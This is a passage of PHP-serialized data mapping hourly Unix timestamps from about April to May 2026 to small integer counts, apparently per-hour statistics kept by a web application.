:1:{i:0;i:12;}i:1776466800;a:1:{i:0;i:15;}i:1776470400;a:1:{i:0;i:10;}i:1776474000;a:1:{i:0;i:16;}i:1776477600;a:1:{i:0;i:15;}i:1776481200;a:1:{i:0;i:14;}i:1776484800;a:1:{i:0;i:10;}i:1776488400;a:1:{i:0;i:10;}i:1776492000;a:1:{i:0;i:18;}i:1776495600;a:1:{i:0;i:7;}i:1776499200;a:1:{i:0;i:9;}i:1776502800;a:1:{i:0;i:13;}i:1776506400;a:1:{i:0;i:17;}i:1776510000;a:1:{i:0;i:9;}i:1776513600;a:1:{i:0;i:13;}i:1776517200;a:1:{i:0;i:3;}i:1776520800;a:1:{i:0;i:12;}i:1776524400;a:1:{i:0;i:13;}i:1776528000;a:1:{i:0;i:7;}i:1776531600;a:1:{i:0;i:11;}i:1776535200;a:1:{i:0;i:8;}i:1776538800;a:1:{i:0;i:8;}i:1776542400;a:1:{i:0;i:8;}i:1776546000;a:1:{i:0;i:9;}i:1776549600;a:1:{i:0;i:11;}i:1776553200;a:1:{i:0;i:14;}i:1776556800;a:1:{i:0;i:17;}i:1776560400;a:1:{i:0;i:11;}i:1776564000;a:1:{i:0;i:10;}i:1776567600;a:1:{i:0;i:19;}i:1776571200;a:1:{i:0;i:23;}i:1776574800;a:1:{i:0;i:9;}i:1776578400;a:1:{i:0;i:9;}i:1776582000;a:1:{i:0;i:14;}i:1776585600;a:1:{i:0;i:4;}i:1776592800;a:1:{i:0;i:15;}i:1776596400;a:1:{i:0;i:12;}i:1776600000;a:1:{i:0;i:6;}i:1776603600;a:1:{i:0;i:9;}i:1776607200;a:1:{i:0;i:7;}i:1776610800;a:1:{i:0;i:9;}i:1776614400;a:1:{i:0;i:9;}i:1776618000;a:1:{i:0;i:9;}i:1776621600;a:1:{i:0;i:1;}i:1776625200;a:1:{i:0;i:2;}i:1776628800;a:1:{i:0;i:3;}i:1776632400;a:1:{i:0;i:12;}i:1776636000;a:1:{i:0;i:3;}i:1776639600;a:1:{i:0;i:4;}i:1776643200;a:1:{i:0;i:11;}i:1776646800;a:1:{i:0;i:10;}i:1776650400;a:1:{i:0;i:4;}i:1776654000;a:1:{i:0;i:6;}i:1776657600;a:1:{i:0;i:15;}i:1776661200;a:1:{i:0;i:10;}i:1776664800;a:1:{i:0;i:10;}i:1776668400;a:1:{i:0;i:7;}i:1776672000;a:1:{i:0;i:16;}i:1776675600;a:1:{i:0;i:18;}i:1776679200;a:1:{i:0;i:16;}i:1776682800;a:1:{i:0;i:17;}i:1776686400;a:1:{i:0;i:17;}i:1776690000;a:1:{i:0;i:11;}i:1776693600;a:1:{i:0;i:1;}i:1776697200;a:1:{i:0;i:3;}i:1776704400;a:1:{i:0;i:2;}i:1776708000;a:1:{i:0;i:1;}i:1776715200;a:1:{i:0;i:3;}i:1776722400;a:1:{i:0;i:1;}i:1776729600;a:1:{i:0;i:5;}i:1776733200;a:1:{i:0;i:4;}i:1776736800;a:1:{i:0;i:9;}i:1776740400;a:1:{i:0;i:12;}i:1776744000;a:1:{i:0;i:10;}i:1776747600;a:1:{i:0;i:4;}i:1776751200;a:1:{i:0;i:9;}i:1776754800;a:1:{i:0;i:5;}i:1776758400;a:1:{i:0;i:4;}i:1776762000;a:1:{i:0;i:5;}i:1776765600;a:1:{i:0;i:6;}i:1776769200;a:1:{i:0;i:5;}i:1776772800;a:1:{i:0;i:4;}i:1776776400;a:1:{i:0;i:3;}i:1776780000;a:1:{i:0;i:4;}i:1776783600;a:1:{i:0;i:6;}i:1776787200;a:1:{i:0;i:6;}i:1776790800;a:1:{i:0;i:3;}i:1776794400;a:1:{i:0;i:7;}i:1776819600;a:1:{i:0;i:3;}i:1776823200;a:1:{i:0;i:7;}i:1776841200;a:1:{i:0;i:2;}i:1776844800;a:1:{i:0;i:4;}i:1776848400;a:1:{i:0;i:3;}i:1776852000;a:1:{i:0;i:8;}i:1776855600;a:1:{i:0;i:17;}i:1776859200;a:1:{i:0;i:14;}i:1776862800;a:1:{i:0;i:18;}i:1776866400;a:1:{i:0;i:30;}i:1776870000;a:1:{i:0;i:19;}i:1776873600;a:1:{i:0;i:17;}i:1776877200;a:1:{i:0;i:17;}i:1776880800;a:1:{i:0;i:20;}i:1776884400;a:1:{i:0;i:22;}i:1776888000;a:1:{i:0;i:18;}i:1776891600;a:1:{i:0;i:20;}i:1776895200;a:1:{i:0;i:23;}i:1776898800;a:1:{i:0;i:22;}i:1776902400;a:1:{i:0;i:27;}i:1776906000;a:1:{i:0;i:24;}i:1776909600;a:1:{i:0;i:27;}i:1776913200;a:1:{i:0;i:30;}i:1776916800;a:1:{i:0;i:27;}i:1776920400;a:1:{i:0;i:39;}i:1776924000;a:1:{i:0;i:34;}i:1776927600;a:1:{i:0;i:18;}i:1776931200;a:1:{i:0;i:4;}i:1776934800;a:1:{i:0;i:5;}i:1776938400;a:1:{i:0;i:4;}i:1776942000;a:1:{i:0;i:5;}i:1776945600;a:1:{i:0;i:13;}i:1776949200;a:1:{i:0;i:5;}i:1776952800;a:1:{i:0;i:8;}i:1776956400;a:1:{i:0;i:11;}i:1776960000;a:1:{i:0;i:9;}i:1776963600;a:1:{i:0;i:11;}i:1776967200;a:1:{i:0;i:3;}i:1776970800;a:1:{i:0;i:5;}i:1776974400;a:1:{i:0;i:3;}i:1776978000;a:1:{i:0;i:11;}i:1776981600;a:1:{i:0;i:11;}i:1776985200;a:1:{i:0;i:3;}i:1776988800;a:1:{i:0;i:3;}i:1776992400;a:1:{i:0;i:2;}i:1776996000;a:1:{i:0;i:2;}i:1777024800;a:1:{i:0;i:4;}i:1777028400;a:1:{i:0;i:17;}i:1777032000;a:1:{i:0;i:14;}i:1777035600;a:1:{i:0;i:37;}i:1777039200;a:1:{i:0;i:39;}i:1777042800;a:1:{i:0;i:30;}i:1777046400;a:1:{i:0;i:24;}i:1777050000;a:1:{i:0;i:26;}i:1777053600;a:1:{i:0;i:39;}i:1777057200;a:1:{i:0;i:48;}i:1777060800;a:1:{i:0;i:43;}i:1777064400;a:1:{i:0;i:26;}i:1777068000;a:1:{i:0;i:29;}i:1777071600;a:1:{i:0;i:25;}i:1777075200;a:1:{i:0;i:29;}i:1777078800;a:1:{i:0;i:32;}i:1777082400;a:1:{i:0;i:37;}i:1777086000;a:1:{i:0;i:33;}i:1777089600;a:1:{i:0;i:30;}i:1777093200;a:1:{i:0;i:25;}i:1777096800;a:1:{i:0;i:30;}i:1777100400;a:1:{i:0;i:19;}i:1777104000;a:1:{i:0;i:28;}i:1777107600;a:1:{i:0;i:27;}i:1777111200;a:1:{i:0;i:22;}i:1777114800;a:1:{i:0;i:22;}i:1777118400;a:1:{i:0;i:24;}i:1777122000;a:1:{i:0;i:13;}i:1777125600;a:1:{i:0;i:9;}i:1777136400;a:1:{i:0;i:3;}i:1777154400;a:1:{i:0;i:4;}i:1777158000;a:1:{i:0;i:2;}i:1777161600;a:1:{i:0;i:12;}i:1777165200;a:1:{i:0;i:11;}i:1777168800;a:1:{i:0;i:11;}i:1777172400;a:1:{i:0;i:18;}i:1777176000;a:1:{i:0;i:24;}i:1777179600;a:1:{i:0;i:12;}i:1777186800;a:1:{i:0;i:3;}i:1777190400;a:1:{i:0;i:3;}i:1777194000;a:1:{i:0;i:3;}i:1777197600;a:1:{i:0;i:3;}i:1777204800;a:1:{i:0;i:3;}i:1777222800;a:1:{i:0;i:4;}i:1777226400;a:1:{i:0;i:1;}i:1777230000;a:1:{i:0;i:4;}i:1777233600;a:1:{i:0;i:6;}i:1777237200;a:1:{i:0;i:6;}i:1777240800;a:1:{i:0;i:6;}i:1777244400;a:1:{i:0;i:5;}i:1777248000;a:1:{i:0;i:6;}i:1777251600;a:1:{i:0;i:8;}i:1777255200;a:1:{i:0;i:14;}i:1777258800;a:1:{i:0;i:15;}i:1777262400;a:1:{i:0;i:9;}i:1777266000;a:1:{i:0;i:8;}i:1777269600;a:1:{i:0;i:9;}i:1777273200;a:1:{i:0;i:14;}i:1777276800;a:1:{i:0;i:14;}i:1777280400;a:1:{i:0;i:9;}i:1777284000;a:1:{i:0;i:6;}i:1777287600;a:1:{i:0;i:7;}i:1777291200;a:1:{i:0;i:7;}i:1777294800;a:1:{i:0;i:10;}i:1777298400;a:1:{i:0;i:7;}i:1777302000;a:1:{i:0;i:3;}i:1777305600;a:1:{i:0;i:3;}i:1777309200;a:1:{i:0;i:2;}i:1777312800;a:1:{i:0;i:4;}i:1777316400;a:1:{i:0;i:6;}i:1777338000;a:1:{i:0;i:3;}i:1777341600;a:1:{i:0;i:1;}i:1777348800;a:1:{i:0;i:3;}i:1777352400;a:1:{i:0;i:5;}i:1777359600;a:1:{i:0;i:3;}i:1777363200;a:1:{i:0;i:6;}i:1777374000;a:1:{i:0;i:4;}i:1777377600;a:1:{i:0;i:4;}i:1777381200;a:1:{i:0;i:3;}i:1777392000;a:1:{i:0;i:3;}i:1777402800;a:1:{i:0;i:1;}i:1777410000;a:1:{i:0;i:3;}i:1777413600;a:1:{i:0;i:6;}i:1777417200;a:1:{i:0;i:6;}i:1777420800;a:1:{i:0;i:6;}i:1777424400;a:1:{i:0;i:7;}i:1777428000;a:1:{i:0;i:7;}i:1777431600;a:1:{i:0;i:6;}i:1777435200;a:1:{i:0;i:5;}i:1777438800;a:1:{i:0;i:5;}i:1777442400;a:1:{i:0;i:7;}i:1777446000;a:1:{i:0;i:13;}i:1777449600;a:1:{i:0;i:4;}i:1777453200;a:1:{i:0;i:15;}i:1777456800;a:1:{i:0;i:9;}i:1777460400;a:1:{i:0;i:13;}i:1777464000;a:1:{i:0;i:11;}i:1777467600;a:1:{i:0;i:14;}i:1777471200;a:1:{i:0;i:13;}i:1777474800;a:1:{i:0;i:10;}i:1777478400;a:1:{i:0;i:17;}i:1777482000;a:1:{i:0;i:16;}i:1777485600;a:1:{i:0;i:18;}i:1777489200;a:1:{i:0;i:20;}i:1777492800;a:1:{i:0;i:12;}i:1777496400;a:1:{i:0;i:14;}i:1777500000;a:1:{i:0;i:18;}i:1777503600;a:1:{i:0;i:15;}i:1777507200;a:1:{i:0;i:14;}i:1777510800;a:1:{i:0;i:25;}i:1777514400;a:1:{i:0;i:34;}i:1777518000;a:1:{i:0;i:23;}i:1777521600;a:1:{i:0;i:21;}i:1777525200;a:1:{i:0;i:18;}i:1777528800;a:1:{i:0;i:22;}i:1777532400;a:1:{i:0;i:25;}i:1777536000;a:1:{i:0;i:37;}i:1777539600;a:1:{i:0;i:36;}i:1777543200;a:1:{i:0;i:38;}i:1777546800;a:1:{i:0;i:34;}i:1777550400;a:1:{i:0;i:40;}i:1777554000;a:1:{i:0;i:10;}i:1777561200;a:1:{i:0;i:6;}i:1777564800;a:1:{i:0;i:29;}i:1777568400;a:1:{i:0;i:8;}i:1777572000;a:1:{i:0;i:18;}i:1777575600;a:1:{i:0;i:13;}i:1777579200;a:1:{i:0;i:10;}i:1777582800;a:1:{i:0;i:12;}i:1777586400;a:1:{i:0;i:7;}i:1777590000;a:1:{i:0;i:10;}i:1777593600;a:1:{i:0;i:6;}i:1777597200;a:1:{i:0;i:10;}i:1777600800;a:1:{i:0;i:6;}i:1777604400;a:1:{i:0;i:10;}i:1777608000;a:1:{i:0;i:10;}i:1777611600;a:1:{i:0;i:8;}i:1777615200;a:1:{i:0;i:9;}i:1777618800;a:1:{i:0;i:6;}i:1777622400;a:1:{i:0;i:12;}i:1777626000;a:1:{i:0;i:12;}i:1777629600;a:1:{i:0;i:6;}i:1777633200;a:1:{i:0;i:11;}i:1777636800;a:1:{i:0;i:8;}i:1777640400;a:1:{i:0;i:9;}i:1777644000;a:1:{i:0;i:10;}i:1777647600;a:1:{i:0;i:15;}i:1777651200;a:1:{i:0;i:7;}i:1777654800;a:1:{i:0;i:17;}i:1777658400;a:1:{i:0;i:9;}i:1777662000;a:1:{i:0;i:12;}i:1777665600;a:1:{i:0;i:16;}i:1777669200;a:1:{i:0;i:13;}i:1777672800;a:1:{i:0;i:11;}i:1777676400;a:1:{i:0;i:11;}i:1777680000;a:1:{i:0;i:10;}i:1777683600;a:1:{i:0;i:15;}i:1777687200;a:1:{i:0;i:12;}i:1777690800;a:1:{i:0;i:11;}i:1777694400;a:1:{i:0;i:15;}i:1777698000;a:1:{i:0;i:12;}i:1777701600;a:1:{i:0;i:10;}i:1777705200;a:1:{i:0;i:15;}i:1777708800;a:1:{i:0;i:10;}i:1777712400;a:1:{i:0;i:15;}i:1777716000;a:1:{i:0;i:10;}i:1777719600;a:1:{i:0;i:6;}i:1777723200;a:1:{i:0;i:19;}i:1777726800;a:1:{i:0;i:7;}i:1777730400;a:1:{i:0;i:11;}i:1777734000;a:1:{i:0;i:14;}i:1777737600;a:1:{i:0;i:10;}i:1777741200;a:1:{i:0;i:88;}i:1777744800;a:1:{i:0;i:10;}i:1777748400;a:1:{i:0;i:9;}i:1777752000;a:1:{i:0;i:8;}i:1777755600;a:1:{i:0;i:13;}i:1777759200;a:1:{i:0;i:8;}i:1777762800;a:1:{i:0;i:13;}i:1777766400;a:1:{i:0;i:5;}i:1777770000;a:1:{i:0;i:11;}i:1777773600;a:1:{i:0;i:14;}i:1777777200;a:1:{i:0;i:13;}i:1777780800;a:1:{i:0;i:11;}i:1777784400;a:1:{i:0;i:10;}i:1777788000;a:1:{i:0;i:9;}i:1777791600;a:1:{i:0;i:2;}i:1777795200;a:1:{i:0;i:2;}i:1777806000;a:1:{i:0;i:6;}i:1777809600;a:1:{i:0;i:2;}i:1777813200;a:1:{i:0;i:4;}i:1777816800;a:1:{i:0;i:6;}i:1777849200;a:1:{i:0;i:4;}i:1777860000;a:1:{i:0;i:1;}i:1777867200;a:1:{i:0;i:19;}i:1777870800;a:1:{i:0;i:67;}i:1777878000;a:1:{i:0;i:6;}i:1777881600;a:1:{i:0;i:4;}i:1777885200;a:1:{i:0;i:9;}i:1777888800;a:1:{i:0;i:1;}i:1777892400;a:1:{i:0;i:5;}i:1777896000;a:1:{i:0;i:9;}i:1777903200;a:1:{i:0;i:4;}i:1777906800;a:1:{i:0;i:6;}i:1777910400;a:1:{i:0;i:2;}i:1777914000;a:1:{i:0;i:4;}i:1777917600;a:1:{i:0;i:1;}i:1777921200;a:1:{i:0;i:1;}i:1777935600;a:1:{i:0;i:1;}i:1777950000;a:1:{i:0;i:1;}i:1777957200;a:1:{i:0;i:6;}i:1777960800;a:1:{i:0;i:3;}i:1777971600;a:1:{i:0;i:2;}i:1777975200;a:1:{i:0;i:1;}i:1777978800;a:1:{i:0;i:3;}i:1777989600;a:1:{i:0;i:6;}i:1777996800;a:1:{i:0;i:6;}i:1778000400;a:1:{i:0;i:7;}i:1778011200;a:1:{i:0;i:1;}i:1778022000;a:1:{i:0;i:2;}i:1778029200;a:1:{i:0;i:3;}i:1778036400;a:1:{i:0;i:3;}i:1778040000;a:1:{i:0;i:5;}i:1778043600;a:1:{i:0;i:1;}i:1778054400;a:1:{i:0;i:1;}i:1778061600;a:1:{i:0;i:1;}i:1778065200;a:1:{i:0;i:1;}i:1778068800;a:1:{i:0;i:1;}i:1778076000;a:1:{i:0;i:1;}i:1778083200;a:1:{i:0;i:4;}i:1778108400;a:1:{i:0;i:4;}i:1778112000;a:1:{i:0;i:3;}i:1778137200;a:1:{i:0;i:6;}i:1778140800;a:1:{i:0;i:1;}i:1778144400;a:1:{i:0;i:3;}i:1778148000;a:1:{i:0;i:3;}i:1778176800;a:1:{i:0;i:6;}i:1778180400;a:1:{i:0;i:4;}i:1778184000;a:1:{i:0;i:1;}i:1778191200;a:1:{i:0;i:7;}i:1778194800;a:1:{i:0;i:10;}i:1778198400;a:1:{i:0;i:2;}i:1778202000;a:1:{i:0;i:2;}i:1778205600;a:1:{i:0;i:2;}i:1778220000;a:1:{i:0;i:2;}i:1778223600;a:1:{i:0;i:1;}i:1778227200;a:1:{i:0;i:1;}i:1778230800;a:1:{i:0;i:10;}i:1778234400;a:1:{i:0;i:20;}i:1778238000;a:1:{i:0;i:16;}i:1778241600;a:1:{i:0;i:18;}i:1778245200;a:1:{i:0;i:17;}i:1778248800;a:1:{i:0;i:26;}i:1778252400;a:1:{i:0;i:27;}i:1778256000;a:1:{i:0;i:18;}i:1778259600;a:1:{i:0;i:17;}i:1778263200;a:1:{i:0;i:16;}i:1778266800;a:1:{i:0;i:22;}i:1778270400;a:1:{i:0;i:20;}i:1778274000;a:1:{i:0;i:2;}i:1778284800;a:1:{i:0;i:14;}i:1778288400;a:1:{i:0;i:17;}i:1778292000;a:1:{i:0;i:20;}i:1778295600;a:1:{i:0;i:17;}i:1778299200;a:1:{i:0;i:16;}i:1778302800;a:1:{i:0;i:18;}i:1778306400;a:1:{i:0;i:21;}i:1778310000;a:1:{i:0;i:15;}i:1778313600;a:1:{i:0;i:17;}i:1778317200;a:1:{i:0;i:12;}i:1778331600;a:1:{i:0;i:10;}i:1778335200;a:1:{i:0;i:6;}i:1778349600;a:1:{i:0;i:3;}i:1778353200;a:1:{i:0;i:10;}i:1778356800;a:1:{i:0;i:1;}i:1778360400;a:1:{i:0;i:1;}i:1778364000;a:1:{i:0;i:2;}i:1778385600;a:1:{i:0;i:3;}i:1778389200;a:1:{i:0;i:1;}i:1778396400;a:1:{i:0;i:4;}i:1778400000;a:1:{i:0;i:1;}i:1778410800;a:1:{i:0;i:4;}i:1778418000;a:1:{i:0;i:9;}i:1778421600;a:1:{i:0;i:6;}i:1778425200;a:1:{i:0;i:2;}i:1778428800;a:1:{i:0;i:4;}i:1778432400;a:1:{i:0;i:1;}i:1778436000;a:1:{i:0;i:2;}i:1778439600;a:1:{i:0;i:1;}i:1778443200;a:1:{i:0;i:2;}i:1778446800;a:1:{i:0;i:3;}i:1778464800;a:1:{i:0;i:2;}i:1778472000;a:1:{i:0;i:1;}i:1778475600;a:1:{i:0;i:6;}i:1778479200;a:1:{i:0;i:1;}i:1778482800;a:1:{i:0;i:4;}i:1778490000;a:1:{i:0;i:3;}i:1778497200;a:1:{i:0;i:1;}i:1778500800;a:1:{i:0;i:12;}i:1778504400;a:1:{i:0;i:7;}i:1778508000;a:1:{i:0;i:1;}i:1778522400;a:1:{i:0;i:3;}i:1778526000;a:1:{i:0;i:2;}i:1778533200;a:1:{i:0;i:10;}i:1778536800;a:1:{i:0;i:1;}i:1778540400;a:1:{i:0;i:4;}i:1778544000;a:1:{i:0;i:8;}i:1778547600;a:1:{i:0;i:2;}i:1778551200;a:1:{i:0;i:5;}i:1778554800;a:1:{i:0;i:5;}i:1778558400;a:1:{i:0;i:2;}i:1778562000;a:1:{i:0;i:5;}i:1778565600;a:1:{i:0;i:3;}i:1778569200;a:1:{i:0;i:6;}i:1778572800;a:1:{i:0;i:17;}i:1778580000;a:1:{i:0;i:6;}i:1778583600;a:1:{i:0;i:18;}i:1778587200;a:1:{i:0;i:1;}i:1778590800;a:1:{i:0;i:6;}i:1778601600;a:1:{i:0;i:14;}i:1778612400;a:1:{i:0;i:7;}i:1778616000;a:1:{i:0;i:6;}i:1778619600;a:1:{i:0;i:6;}i:1778623200;a:1:{i:0;i:8;}i:1778626800;a:1:{i:0;i:8;}i:1778630400;a:1:{i:0;i:10;}i:1778634000;a:1:{i:0;i:9;}i:1778637600;a:1:{i:0;i:7;}i:1778641200;a:1:{i:0;i:6;}i:1778644800;a:1:{i:0;i:7;}i:1778648400;a:1:{i:0;i:6;}i:1778652000;a:1:{i:0;i:11;}i:1778655600;a:1:{i:0;i:13;}i:1778659200;a:1:{i:0;i:17;}i:1778662800;a:1:{i:0;i:15;}i:1778666400;a:1:{i:0;i:12;}i:1778670000;a:1:{i:0;i:4;}i:1778677200;a:1:{i:0;i:2;}i:1778680800;a:1:{i:0;i:4;}i:1778684400;a:1:{i:0;i:3;}i:1778688000;a:1:{i:0;i:2;}i:1778691600;a:1:{i:0;i:7;}i:1778695200;a:1:{i:0;i:1;}i:1778698800;a:1:{i:0;i:7;}i:1778702400;a:1:{i:0;i:1;}i:1778706000;a:1:{i:0;i:2;}i:1778709600;a:1:{i:0;i:1;}i:1778713200;a:1:{i:0;i:6;}i:1778716800;a:1:{i:0;i:1;}i:1778720400;a:1:{i:0;i:5;}i:1778724000;a:1:{i:0;i:9;}i:1778727600;a:1:{i:0;i:9;}i:1778731200;a:1:{i:0;i:11;}i:1778734800;a:1:{i:0;i:9;}i:1778738400;a:1:{i:0;i:13;}i:1778742000;a:1:{i:0;i:7;}i:1778745600;a:1:{i:0;i:8;}i:1778749200;a:1:{i:0;i:8;}i:1778752800;a:1:{i:0;i:11;}i:1778756400;a:1:{i:0;i:8;}i:1778760000;a:1:{i:0;i:5;}i:1778767200;a:1:{i:0;i:2;}i:1778770800;a:1:{i:0;i:3;}i:1778774400;a:1:{i:0;i:5;}i:1778778000;a:1:{i:0;i:1;}i:1778781600;a:1:{i:0;i:2;}i:1778785200;a:1:{i:0;i:3;}i:1778788800;a:1:{i:0;i:1;}i:1778792400;a:1:{i:0;i:2;}i:1778796000;a:1:{i:0;i:4;}i:1778799600;a:1:{i:0;i:2;}i:1778803200;a:1:{i:0;i:1;}i:1778814000;a:1:{i:0;i:2;}i:1778817600;a:1:{i:0;i:11;}i:1778821200;a:1:{i:0;i:4;}i:1778824800;a:1:{i:0;i:2;}i:1778828400;a:1:{i:0;i:2;}i:1778832000;a:1:{i:0;i:2;}i:1778835600;a:1:{i:0;i:4;}i:1778839200;a:1:{i:0;i:4;}i:1778842800;a:1:{i:0;i:4;}i:1778846400;a:1:{i:0;i:3;}i:1778850000;a:1:{i:0;i:2;}i:1778853600;a:1:{i:0;i:3;}i:1778857200;a:1:{i:0;i:7;}i:1778860800;a:1:{i:0;i:3;}i:1778864400;a:1:{i:0;i:4;}i:1778868000;a:1:{i:0;i:7;}i:1778871600;a:1:{i:0;i:6;}i:1778875200;a:1:{i:0;i:13;}i:1778878800;a:1:{i:0;i:7;}i:1778882400;a:1:{i:0;i:1;}i:1778886000;a:1:{i:0;i:4;}i:1778889600;a:1:{i:0;i:3;}i:1778893200;a:1:{i:0;i:2;}i:1778896800;a:1:{i:0;i:6;}i:1778900400;a:1:{i:0;i:4;}i:1778904000;a:1:{i:0;i:1;}i:1778907600;a:1:{i:0;i:2;}i:1778911200;a:1:{i:0;i:1;}i:1778914800;a:1:{i:0;i:3;}i:1778918400;a:1:{i:0;i:8;}i:1778922000;a:1:{i:0;i:1;}i:1778925600;a:1:{i:0;i:6;}i:1778929200;a:1:{i:0;i:1;}i:1778932800;a:1:{i:0;i:2;}i:1778936400;a:1:{i:0;i:3;}i:1778940000;a:1:{i:0;i:1;}i:1778943600;a:1:{i:0;i:1;}i:1778947200;a:1:{i:0;i:2;}i:1778950800;a:1:{i:0;i:10;}i:1778954400;a:1:{i:0;i:2;}i:1778958000;a:1:{i:0;i:2;}i:1778961600;a:1:{i:0;i:3;}i:1778965200;a:1:{i:0;i:1;}i:1778968800;a:1:{i:0;i:2;}i:1778976000;a:1:{i:0;i:1;}i:1778979600;a:1:{i:0;i:3;}i:1778983200;a:1:{i:0;i:2;}i:1778986800;a:1:{i:0;i:1;}i:1778990400;a:1:{i:0;i:7;}i:1779008400;a:1:{i:0;i:1;}i:1779015600;a:1:{i:0;i:1;}i:1779019200;a:1:{i:0;i:1;}i:1779022800;a:1:{i:0;i:4;}i:1779026400;a:1:{i:0;i:6;}i:1779030000;a:1:{i:0;i:4;}i:1779033600;a:1:{i:0;i:7;}i:1779037200;a:1:{i:0;i:1;}i:1779040800;a:1:{i:0;i:8;}i:1779044400;a:1:{i:0;i:4;}i:1779048000;a:1:{i:0;i:15;}i:1779051600;a:1:{i:0;i:11;}i:1779055200;a:1:{i:0;i:11;}i:1779058800;a:1:{i:0;i:13;}i:1779062400;a:1:{i:0;i:11;}i:1779066000;a:1:{i:0;i:9;}i:1779069600;a:1:{i:0;i:17;}i:1779073200;a:1:{i:0;i:12;}i:1779076800;a:1:{i:0;i:13;}i:1779080400;a:1:{i:0;i:15;}i:1779084000;a:1:{i:0;i:18;}i:1779087600;a:1:{i:0;i:12;}i:1779091200;a:1:{i:0;i:4;}i:1779094800;a:1:{i:0;i:3;}i:1779098400;a:1:{i:0;i:5;}i:1779102000;a:1:{i:0;i:4;}i:1779105600;a:1:{i:0;i:3;}i:1779109200;a:1:{i:0;i:12;}i:1779112800;a:1:{i:0;i:12;}i:1779116400;a:1:{i:0;i:11;}i:1779120000;a:1:{i:0;i:19;}i:1779123600;a:1:{i:0;i:11;}i:1779127200;a:1:{i:0;i:14;}i:1779130800;a:1:{i:0;i:13;}i:1779134400;a:1:{i:0;i:11;}i:1779138000;a:1:{i:0;i:9;}i:1779141600;a:1:{i:0;i:11;}i:1779145200;a:1:{i:0;i:13;}i:1779148800;a:1:{i:0;i:9;}i:1779152400;a:1:{i:0;i:8;}i:1779156000;a:1:{i:0;i:8;}i:1779159600;a:1:{i:0;i:8;}i:1779163200;a:1:{i:0;i:7;}i:1779166800;a:1:{i:0;i:14;}i:1779170400;a:1:{i:0;i:1;}i:1779174000;a:1:{i:0;i:10;}i:1779177600;a:1:{i:0;i:5;}i:1779181200;a:1:{i:0;i:6;}i:1779184800;a:1:{i:0;i:7;}i:1779188400;a:1:{i:0;i:12;}i:1779192000;a:1:{i:0;i:3;}i:1779195600;a:1:{i:0;i:7;}i:1779199200;a:1:{i:0;i:5;}i:1779202800;a:1:{i:0;i:10;}i:1779206400;a:1:{i:0;i:8;}i:1779210000;a:1:{i:0;i:5;}i:1779213600;a:1:{i:0;i:2;}i:1779217200;a:1:{i:0;i:5;}i:1779220800;a:1:{i:0;i:5;}i:1779224400;a:1:{i:0;i:8;}i:1779228000;a:1:{i:0;i:4;}i:1779231600;a:1:{i:0;i:3;}i:1779235200;a:1:{i:0;i:6;}i:1779238800;a:1:{i:0;i:3;}i:1779242400;a:1:{i:0;i:6;}i:1779246000;a:1:{i:0;i:10;}i:1779249600;a:1:{i:0;i:15;}i:1779253200;a:1:{i:0;i:13;}i:1779256800;a:1:{i:0;i:10;}i:1779260400;a:1:{i:0;i:15;}i:1779264000;a:1:{i:0;i:7;}i:1779267600;a:1:{i:0;i:5;}i:1779271200;a:1:{i:0;i:3;}i:1779274800;a:1:{i:0;i:2;}i:1779278400;a:1:{i:0;i:11;}i:1779282000;a:1:{i:0;i:6;}i:1779285600;a:1:{i:0;i:2;}i:1779289200;a:1:{i:0;i:1;}i:1779292800;a:1:{i:0;i:1;}i:1779296400;a:1:{i:0;i:4;}i:1779300000;a:1:{i:0;i:4;}i:1779303600;a:1:{i:0;i:5;}i:1779307200;a:1:{i:0;i:1;}i:1779310800;a:1:{i:0;i:2;}i:1779314400;a:1:{i:0;i:1;}i:1779318000;a:1:{i:0;i:1;}i:1779321600;a:1:{i:0;i:2;}i:1779325200;a:1:{i:0;i:5;}i:1779328800;a:1:{i:0;i:3;}i:1779332400;a:1:{i:0;i:5;}i:1779336000;a:1:{i:0;i:3;}i:1779339600;a:1:{i:0;i:2;}i:1779343200;a:1:{i:0;i:4;}i:1779350400;a:1:{i:0;i:18;}i:1779354000;a:1:{i:0;i:2;}i:1779357600;a:1:{i:0;i:1;}i:1779361200;a:1:{i:0;i:6;}i:1779364800;a:1:{i:0;i:12;}i:1779368400;a:1:{i:0;i:2;}i:1779372000;a:1:{i:0;i:3;}i:1779375600;a:1:{i:0;i:2;}i:1779379200;a:1:{i:0;i:4;}i:1779382800;a:1:{i:0;i:5;}i:1779386400;a:1:{i:0;i:2;}i:1779390000;a:1:{i:0;i:3;}i:1779393600;a:1:{i:0;i:6;}i:1779397200;a:1:{i:0;i:3;}i:1779400800;a:1:{i:0;i:3;}i:1779404400;a:1:{i:0;i:1;}i:1779408000;a:1:{i:0;i:3;}i:1779411600;a:1:{i:0;i:3;}i:1779415200;a:1:{i:0;i:2;}i:1779418800;a:1:{i:0;i:3;}i:1779422400;a:1:{i:0;i:5;}i:1779426000;a:1:{i:0;i:4;}i:1779429600;a:1:{i:0;i:2;}i:1779433200;a:1:{i:0;i:1;}i:1779436800;a:1:{i:0;i:6;}i:1779440400;a:1:{i:0;i:9;}i:1779444000;a:1:{i:0;i:11;}i:1779447600;a:1:{i:0;i:3;}i:1779451200;a:1:{i:0;i:10;}i:1779454800;a:1:{i:0;i:5;}i:1779458400;a:1:{i:0;i:8;}i:1779462000;a:1:{i:0;i:10;}i:1779465600;a:1:{i:0;i:8;}i:1779469200;a:1:{i:0;i:9;}i:1779472800;a:1:{i:0;i:7;}i:1779476400;a:1:{i:0;i:5;}i:1779483600;a:1:{i:0;i:2;}i:1779487200;a:1:{i:0;i:1;}i:1779494400;a:1:{i:0;i:2;}i:1779498000;a:1:{i:0;i:1;}i:1779501600;a:1:{i:0;i:1;}i:1779505200;a:1:{i:0;i:2;}i:1779512400;a:1:{i:0;i:6;}i:1779519600;a:1:{i:0;i:3;}i:1779523200;a:1:{i:0;i:2;}i:1779526800;a:1:{i:0;i:2;}i:1779530400;a:1:{i:0;i:1;}i:1779534000;a:1:{i:0;i:1;}i:1779537600;a:1:{i:0;i:111;}i:1779541200;a:1:{i:0;i:1;}i:1779544800;a:1:{i:0;i:5;}i:1779548400;a:1:{i:0;i:3;}i:1779552000;a:1:{i:0;i:3;}i:1779559200;a:1:{i:0;i:2;}i:1779562800;a:1:{i:0;i:2;}i:1779570000;a:1:{i:0;i:2;}i:1779573600;a:1:{i:0;i:3;}i:1779580800;a:1:{i:0;i:2;}i:1779584400;a:1:{i:0;i:1;}i:1779588000;a:1:{i:0;i:1;}i:1779591600;a:1:{i:0;i:1;}i:1779595200;a:1:{i:0;i:9;}i:1779598800;a:1:{i:0;i:6;}i:1779602400;a:1:{i:0;i:11;}i:1779606000;a:1:{i:0;i:5;}i:1779609600;a:1:{i:0;i:15;}i:1779613200;a:1:{i: